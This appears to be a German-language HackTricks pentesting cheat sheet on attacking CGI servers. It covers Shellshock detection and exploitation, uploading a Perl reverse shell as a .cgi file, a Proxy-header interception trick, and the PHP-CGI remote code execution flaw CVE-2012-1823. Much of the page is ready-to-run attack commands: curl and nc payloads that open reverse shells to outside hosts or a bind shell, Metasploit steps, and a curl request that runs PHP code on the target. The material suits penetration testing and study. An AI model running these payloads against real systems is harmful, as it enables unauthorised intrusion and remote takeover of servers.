CGI

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Informationen

Die CGI-Skripte sind Perl-Skripte, also, wenn du einen Server kompromittiert hast, der .cgi Skripte ausführen kann, kannst du eine Perl-Reverse-Shell hochladen (/usr/share/webshells/perl/perl-reverse-shell.pl), die Erweiterung von .pl in .cgi ändern, Ausführungsberechtigungen geben (chmod +x) und die Reverse-Shell vom Webbrowser aus aufrufen, um sie auszuführen. Um nach CGI-Schwachstellen zu suchen, wird empfohlen, nikto -C all (und alle Plugins) zu verwenden.

ShellShock

ShellShock ist eine Schwachstelle, die die weit verbreitete Bash-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von Umgebungsvariablen, die dynamische benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie schadhafter Code an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.

Durch das Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.

Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte Apache-Version und cgi_mod (mit cgi-Ordner) verwendet wird oder indem du nikto verwendest.

Test

Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn du denkst, dass eine Seite anfällig sein könnte, suche nach allen CGI-Seiten und teste sie.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflektiert, blind und out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM zu Webserver-Anfragen)

CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" erstellt.

Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen Header zu senden, der enthält: "Proxy: <IP_angreifer>:<PORT>" und wenn der Server während der Sitzung eine Anfrage ausführt, können Sie jede vom Server getätigte Anfrage erfassen.

Alte PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Grundsätzlich, wenn cgi aktiv ist und php "alt" (<5.3.12 / < 5.4.2) ist, können Sie Code ausführen. Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden (insbesondere ohne das Zeichen "="). Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf /index.php?-s zugreifen (beachten Sie das -s) und der Quellcode der Anwendung wird in der Antwort angezeigt.

Um RCE zu erhalten, können Sie diese spezielle Abfrage senden: /?-d allow_url_include=1 -d auto_prepend_file=php://input und den PHP-Code, der im Body der Anfrage ausgeführt werden soll. Beispiel:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Weitere Informationen über die Schwachstelle und mögliche Exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Beispiel.

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Last updated